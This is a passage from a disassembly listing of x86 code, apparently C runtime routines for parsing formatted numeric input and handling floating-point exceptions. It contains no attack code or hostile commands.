mov [ebp+var_D], 1
loc_420C23: ; CODE XREF: sub_420510+203j
; sub_420510+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_420C31
mov [ebp+var_17], 1
jmp short loc_420C36
; ---------------------------------------------------------------------------
loc_420C31: ; CODE XREF: sub_420510+719j
cmp ebx, 2Bh
jnz short loc_420C58
loc_420C36: ; CODE XREF: sub_420510+71Fj
dec [ebp+var_C]
jnz short loc_420C47
cmp [ebp+var_20], 0
jz short loc_420C47
mov [ebp+var_F], 1
jmp short loc_420C58
; ---------------------------------------------------------------------------
loc_420C47: ; CODE XREF: sub_420510+729j
; sub_420510+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
pop ecx
mov ebx, eax
loc_420C55: ; CODE XREF: sub_420510+543j
mov [ebp+var_14], ebx
loc_420C58: ; CODE XREF: sub_420510+4FDj
; sub_420510+52Dj ...
cmp [ebp+var_30], 0
jz loc_420D71
cmp [ebp+var_F], 0
jnz loc_420D4F
loc_420C6C: ; CODE XREF: sub_420510+82Cj
cmp esi, 78h
jnz short loc_420CC0
cmp dword_43C504, 1
jle short loc_420C89
push 80h
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420C96
; ---------------------------------------------------------------------------
loc_420C89: ; CODE XREF: sub_420510+768j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 80h
loc_420C96: ; CODE XREF: sub_420510+777j
test eax, eax
jz loc_420D41
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_423F90
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_420F35
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420D13
; ---------------------------------------------------------------------------
loc_420CC0: ; CODE XREF: sub_420510+75Fj
cmp dword_43C504, 1
jle short loc_420CD5
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420CE0
; ---------------------------------------------------------------------------
loc_420CD5: ; CODE XREF: sub_420510+7B7j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 4
loc_420CE0: ; CODE XREF: sub_420510+7C3j
test eax, eax
jz short loc_420D41
cmp esi, 6Fh
jnz short loc_420CFE
cmp ebx, 38h
jge short loc_420D41
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_423F90
jmp short loc_420D0D
; ---------------------------------------------------------------------------
loc_420CFE: ; CODE XREF: sub_420510+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_41D280
loc_420D0D: ; CODE XREF: sub_420510+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_420D13: ; CODE XREF: sub_420510+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_420D2B
dec [ebp+var_C]
jz short loc_420D4F
loc_420D2B: ; CODE XREF: sub_420510+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420C6C
; ---------------------------------------------------------------------------
loc_420D41: ; CODE XREF: sub_420510+788j
; sub_420510+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
loc_420D4F: ; CODE XREF: sub_420510+756j
; sub_420510+819j
cmp [ebp+var_17], 0
jz loc_420E35
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_420E35
; ---------------------------------------------------------------------------
loc_420D71: ; CODE XREF: sub_420510+74Cj
cmp [ebp+var_F], 0
jnz loc_420E2D
loc_420D7B: ; CODE XREF: sub_420510+90Aj
cmp esi, 78h
jz short loc_420DBF
cmp esi, 70h
jz short loc_420DBF
cmp dword_43C504, 1
jle short loc_420D9A
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420DA5
; ---------------------------------------------------------------------------
loc_420D9A: ; CODE XREF: sub_420510+87Cj
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 4
loc_420DA5: ; CODE XREF: sub_420510+888j
test eax, eax
jz short loc_420E1F
cmp esi, 6Fh
jnz short loc_420DB8
cmp ebx, 38h
jge short loc_420E1F
shl edi, 3
jmp short loc_420DF7
; ---------------------------------------------------------------------------
loc_420DB8: ; CODE XREF: sub_420510+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_420DF7
; ---------------------------------------------------------------------------
loc_420DBF: ; CODE XREF: sub_420510+86Ej
; sub_420510+873j
cmp dword_43C504, 1
jle short loc_420DD7
push 80h
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420DE4
; ---------------------------------------------------------------------------
loc_420DD7: ; CODE XREF: sub_420510+8B6j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 80h
loc_420DE4: ; CODE XREF: sub_420510+8C5j
test eax, eax
jz short loc_420E1F
push ebx
shl edi, 4
call sub_420F35
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420DF7: ; CODE XREF: sub_420510+8A6j
; sub_420510+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_420E09
dec [ebp+var_C]
jz short loc_420E2D
loc_420E09: ; CODE XREF: sub_420510+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420D7B
; ---------------------------------------------------------------------------
loc_420E1F: ; CODE XREF: sub_420510+897j
; sub_420510+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
loc_420E2D: ; CODE XREF: sub_420510+865j
; sub_420510+8F7j
cmp [ebp+var_17], 0
jz short loc_420E35
neg edi
loc_420E35: ; CODE XREF: sub_420510+843j
; sub_420510+85Cj ...
cmp esi, 46h
jnz short loc_420E3E
and [ebp+var_1C], 0
loc_420E3E: ; CODE XREF: sub_420510+928j
cmp [ebp+var_1C], 0
jz loc_420F16
cmp [ebp+var_E], 0
jnz short loc_420E77
inc [ebp+var_34]
loc_420E51: ; CODE XREF: sub_420510+23Bj
cmp [ebp+var_30], 0
jz short loc_420E67
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_420E77
; ---------------------------------------------------------------------------
loc_420E67: ; CODE XREF: sub_420510+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_420E74
mov [eax], edi
jmp short loc_420E77
; ---------------------------------------------------------------------------
loc_420E74: ; CODE XREF: sub_420510+95Ej
mov [eax], di
loc_420E77: ; CODE XREF: sub_420510+241j
; sub_420510+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_420EC4
; ---------------------------------------------------------------------------
loc_420E82: ; CODE XREF: sub_420510+93j
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_420EF1
mov ecx, off_43C2F8
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420EC4
inc [ebp+var_4]
push edi
call sub_420F6C
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_420EFF
dec [ebp+var_4]
loc_420EC4: ; CODE XREF: sub_420510+970j
; sub_420510+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_420EDA
cmp byte ptr [esi], 25h
jnz short loc_420F1C
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_420F1C
mov esi, eax
loc_420EDA: ; CODE XREF: sub_420510+9B8j
mov al, [esi]
test al, al
jnz loc_42053A
jmp short loc_420F16
; ---------------------------------------------------------------------------
loc_420EE6: ; CODE XREF: sub_420510+1F4j
; sub_420510+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_420EF6
; ---------------------------------------------------------------------------
loc_420EF1: ; CODE XREF: sub_420510+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_420EF6: ; CODE XREF: sub_420510+9DFj
call sub_420F86
pop ecx
pop ecx
jmp short loc_420F16
; ---------------------------------------------------------------------------
loc_420EFF: ; CODE XREF: sub_420510+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_420F86
dec [ebp+var_4]
push edi
push ebx
call sub_420F86
add esp, 10h
loc_420F16: ; CODE XREF: sub_420510+1Fj
; sub_420510+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_420F2D
loc_420F1C: ; CODE XREF: sub_420510+9BDj
; sub_420510+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_420F30
cmp [ebp+var_15], al
jnz short loc_420F30
or eax, 0FFFFFFFFh
jmp short loc_420F30
; ---------------------------------------------------------------------------
loc_420F2D: ; CODE XREF: sub_420510+A0Aj
mov eax, [ebp+var_34]
loc_420F30: ; CODE XREF: sub_420510+A11j
; sub_420510+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_420510 endp
; =============== S U B R O U T I N E =======================================
sub_420F35 proc near ; CODE XREF: sub_420510+7A3p
; sub_420510+8DCp
arg_0 = dword ptr 4
cmp dword_43C504, 1
push esi
jle short loc_420F4F
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_420F5E
; ---------------------------------------------------------------------------
loc_420F4F: ; CODE XREF: sub_420F35+8j
mov esi, [esp+4+arg_0]
mov eax, off_43C2F8
mov al, [eax+esi*2]
and eax, 4
loc_420F5E: ; CODE XREF: sub_420F35+18j
test eax, eax
jnz short loc_420F68
and esi, 0FFFFFFDFh
sub esi, 7
loc_420F68: ; CODE XREF: sub_420F35+2Bj
mov eax, esi
pop esi
retn
sub_420F35 endp
; =============== S U B R O U T I N E =======================================
sub_420F6C proc near ; CODE XREF: sub_420510+1E1p
; sub_420510+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_420F7E
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_420F7E: ; CODE XREF: sub_420F6C+7j
push edx
call sub_41F043
pop ecx
retn
sub_420F6C endp
; =============== S U B R O U T I N E =======================================
sub_420F86 proc near ; CODE XREF: sub_420510+6Bp
; sub_420510+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_420F9C
push [esp+arg_4]
push [esp+4+arg_0]
call sub_423FAF
pop ecx
pop ecx
locret_420F9C: ; CODE XREF: sub_420F86+5j
retn
sub_420F86 endp
; =============== S U B R O U T I N E =======================================
sub_420F9D proc near ; CODE XREF: sub_420510+63p
; sub_420510+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_420FA3: ; CODE XREF: sub_420F9D+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_420F6C
mov edi, eax
push edi
call sub_41D670
pop ecx
test eax, eax
pop ecx
jnz short loc_420FA3
mov eax, edi
pop edi
pop esi
retn
sub_420F9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_420FC1(int,int,double,int)
sub_420FC1 proc near ; CODE XREF: sub_41C679+51p
; sub_41C7BF+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43CC70, 0
jnz short loc_420FF6
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_421576
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420FF6: ; CODE XREF: sub_420FC1+Aj
push 0FFFFh
mov dword_4DB278, 21h
push [ebp+arg_C]
call sub_4217E9
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_420FC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421014(int,int,double,double,int)
sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp
; sub_41C7BF:loc_41C882p
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_42135F
add esp, 0Ch
test eax, eax
jnz short loc_421052
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_4210AC
add esp, 18h
loc_421052: ; CODE XREF: sub_421014+1Aj
push [ebp+arg_0]
call sub_421649
cmp dword_43CC70, 0
pop ecx
jnz short loc_421090
test eax, eax
jz short loc_421090
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_421576
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_421090: ; CODE XREF: sub_421014+4Ej
; sub_421014+52j
push eax
call sub_4215FE
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_4217E9
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_421014 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4210AC proc near ; CODE XREF: sub_421014+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_4210DE
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_4210DE: ; CODE XREF: sub_4210AC+23j
test cl, 2
jz short loc_4210F1
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_4210F1: ; CODE XREF: sub_4210AC+35j
test cl, bl
jz short loc_421103
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_421103: ; CODE XREF: sub_4210AC+47j
test cl, 4
jz short loc_421116
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_421116: ; CODE XREF: sub_4210AC+5Aj
test cl, 8
jz short loc_421129
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_421129: ; CODE XREF: sub_4210AC+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_4217CC
test al, bl
jz short loc_4211B2
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_4211B2: ; CODE XREF: sub_4210AC+FDj
test al, 4
jz short loc_4211BD
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_4211BD: ; CODE XREF: sub_4210AC+108j
test al, 8
jz short loc_4211C8
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_4211C8: ; CODE XREF: sub_4210AC+113j
test al, 10h
jz short loc_4211D2
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_4211D2: ; CODE XREF: sub_4210AC+11Ej
test al, 20h
jz short loc_4211DC
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_4211DC: ; CODE XREF: sub_4210AC+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_42121B
cmp eax, 400h
jz short loc_42120D
cmp eax, 800h
jz short loc_421201
cmp eax, ecx
jnz short loc_421221
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_421221
; ---------------------------------------------------------------------------
loc_421201: ; CODE XREF: sub_4210AC+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_421217
; ---------------------------------------------------------------------------
loc_42120D: ; CODE XREF: sub_4210AC+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_421217: ; CODE XREF: sub_4210AC+15Fj
mov [eax], ecx
jmp short loc_421221
; ---------------------------------------------------------------------------
loc_42121B: ; CODE XREF: sub_4210AC+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_421221: ; CODE XREF: sub_4210AC+14Bj
; sub_4210AC+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_42124C
cmp eax, 200h
jz short loc_42123F
cmp eax, ecx
jnz short loc_421259
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_421259
; ---------------------------------------------------------------------------
loc_42123F: ; CODE XREF: sub_4210AC+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_421257
; ---------------------------------------------------------------------------
loc_42124C: ; CODE XREF: sub_4210AC+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_421257: ; CODE XREF: sub_4210AC+19Ej
mov [eax], ecx
loc_421259: ; CODE XREF: sub_4210AC+189j
; sub_4210AC+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_4217DA
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call near ptr 26503EEh
nop
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_4212D3
and dword ptr [esi], 0FFFFFFFEh
loc_4212D3: ; CODE XREF: sub_4210AC+222j
test byte ptr [eax+8], 8
jz short loc_4212DC
and dword ptr [esi], 0FFFFFFFBh
loc_4212DC: ; CODE XREF: sub_4210AC+22Bj
test byte ptr [eax+8], 4
jz short loc_4212E5
and dword ptr [esi], 0FFFFFFF7h
loc_4212E5: ; CODE XREF: sub_4210AC+234j
test byte ptr [eax+8], 2
jz short loc_4212EE
and dword ptr [esi], 0FFFFFFEFh
loc_4212EE: ; CODE XREF: sub_4210AC+23Dj
test [eax+8], bl
jz short loc_4212F6
and dword ptr [esi], 0FFFFFFDFh
loc_4212F6: ; CODE XREF: sub_4210AC+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_42132A
dec ecx
jz short loc_42131E
dec ecx
jz short loc_421314
dec ecx
jnz short loc_42132C
or byte ptr [esi+1], 0Ch
jmp short loc_42132C
; ---------------------------------------------------------------------------
loc_421314: ; CODE XREF: sub_4210AC+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_421326
; ---------------------------------------------------------------------------
loc_42131E: ; CODE XREF: sub_4210AC+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_421326: ; CODE XREF: sub_4210AC+270j
mov [esi], ecx
jmp short loc_42132C
; ---------------------------------------------------------------------------
loc_42132A: ; CODE XREF: sub_4210AC+257j
and [esi], edx
loc_42132C: ; CODE XREF: sub_4210AC+260j
; sub_4210AC+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_42134C
dec ecx
jz short loc_421343
dec ecx
jnz short loc_421355
and [esi], edx
jmp short loc_421355
; ---------------------------------------------------------------------------
loc_421343: ; CODE XREF: sub_4210AC+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_421353
; ---------------------------------------------------------------------------
loc_42134C: ; CODE XREF: sub_4210AC+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_421353: ; CODE XREF: sub_4210AC+29Ej
mov [esi], ecx
loc_421355: ; CODE XREF: sub_4210AC+291j
; sub_4210AC+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4210AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42135F proc near ; CODE XREF: sub_421014+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_42138A
test byte ptr [ebp+arg_8], bl
jz short loc_42138A
push ebx
call sub_42180C
pop ecx
and edi, 0FFFFFFF7h
jmp loc_421554
; ---------------------------------------------------------------------------
loc_42138A: ; CODE XREF: sub_42135F+15j
; sub_42135F+1Aj
test al, 4
jz short loc_4213A4
test byte ptr [ebp+arg_8], 4
jz short loc_4213A4
push 4
call sub_42180C
pop ecx
and edi, 0FFFFFFFBh
jmp loc_421554
; ---------------------------------------------------------------------------
loc_4213A4: ; CODE XREF: sub_42135F+2Dj
; sub_42135F+33j
test al, bl
jz loc_42147E
test byte ptr [ebp+arg_8], 8
jz loc_42147E
push 8
call sub_42180C
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_421456
cmp ecx, 400h
jz short loc_42142E
cmp ecx, 800h
jz short loc_421406
cmp ecx, eax
jnz loc_421476
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427880
fld dbl_43C870
fnstsw ax
sahf
ja short loc_4213FE
fchs
loc_4213FE: ; CODE XREF: sub_42135F+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_421406: ; CODE XREF: sub_42135F+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427880
fnstsw ax
sahf
jbe short loc_42141E
fld dbl_43C860
jmp short loc_421426
; ---------------------------------------------------------------------------
loc_42141E: ; CODE XREF: sub_42135F+B5j
fld dbl_43C870
fchs
loc_421426: ; CODE XREF: sub_42135F+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_42142E: ; CODE XREF: sub_42135F+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427880
fnstsw ax
sahf
jbe short loc_421446
fld dbl_43C870
jmp short loc_42144E
; ---------------------------------------------------------------------------
loc_421446: ; CODE XREF: sub_42135F+DDj
fld dbl_43C860
fchs
loc_42144E: ; CODE XREF: sub_42135F+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_421456: ; CODE XREF: sub_42135F+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427880
fld dbl_43C860
fnstsw ax
sahf
ja short loc_42146E
fchs
loc_42146E: ; CODE XREF: sub_42135F+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_421474: ; CODE XREF: sub_42135F+A5j
; sub_42135F+CDj ...
fstp qword ptr [ecx]
loc_421476: ; CODE XREF: sub_42135F+81j
and edi, 0FFFFFFFEh
jmp loc_421554
; ---------------------------------------------------------------------------
loc_42147E: ; CODE XREF: sub_42135F+47j
; sub_42135F+51j
test al, 2
jz loc_421554
test byte ptr [ebp+arg_8], 10h
jz loc_421554
push esi
xor esi, esi
test al, 10h
jz short loc_421499
mov esi, ebx
loc_421499: ; CODE XREF: sub_42135F+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_427880
fnstsw ax
sahf
jz loc_421542
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_42170B
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_4214E4
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_421538
; ---------------------------------------------------------------------------
loc_4214E4: ; CODE XREF: sub_42135F+17Aj
fld [ebp+var_C]
fcomp dbl_427880
fnstsw ax
sahf
jnb short loc_4214F6
mov edx, ebx
jmp short loc_4214F8
; ---------------------------------------------------------------------------
loc_4214F6: ; CODE XREF: sub_42135F+191j
xor edx, edx
loc_4214F8: ; CODE XREF: sub_42135F+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_42152C
sub eax, ecx
loc_42150F: ; CODE XREF: sub_42135F+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_42151A
test esi, esi
jnz short loc_42151A
mov esi, ebx
loc_42151A: ; CODE XREF: sub_42135F+1B3j
; sub_42135F+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_421526
or byte ptr [ebp+var_C+3], 80h
loc_421526: ; CODE XREF: sub_42135F+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_42150F
loc_42152C: ; CODE XREF: sub_42135F+1ACj
test edx, edx
jz short loc_421538
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_421538: ; CODE XREF: sub_42135F+183j
; sub_42135F+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_421544
; ---------------------------------------------------------------------------
loc_421542: ; CODE XREF: sub_42135F+14Ej
mov esi, ebx
loc_421544: ; CODE XREF: sub_42135F+1E1j
test esi, esi
pop esi
jz short loc_421551
push 10h
call sub_42180C
pop ecx
loc_421551: ; CODE XREF: sub_42135F+1E8j
and edi, 0FFFFFFFDh
loc_421554: ; CODE XREF: sub_42135F+26j
; sub_42135F+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_42156B
test byte ptr [ebp+arg_8], 20h
jz short loc_42156B
push 20h
call sub_42180C
pop ecx
and edi, 0FFFFFFEFh
loc_42156B: ; CODE XREF: sub_42135F+1F9j
; sub_42135F+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_42135F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421576(int,int,int,int,int,int,double,int)
sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp
; sub_421014+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
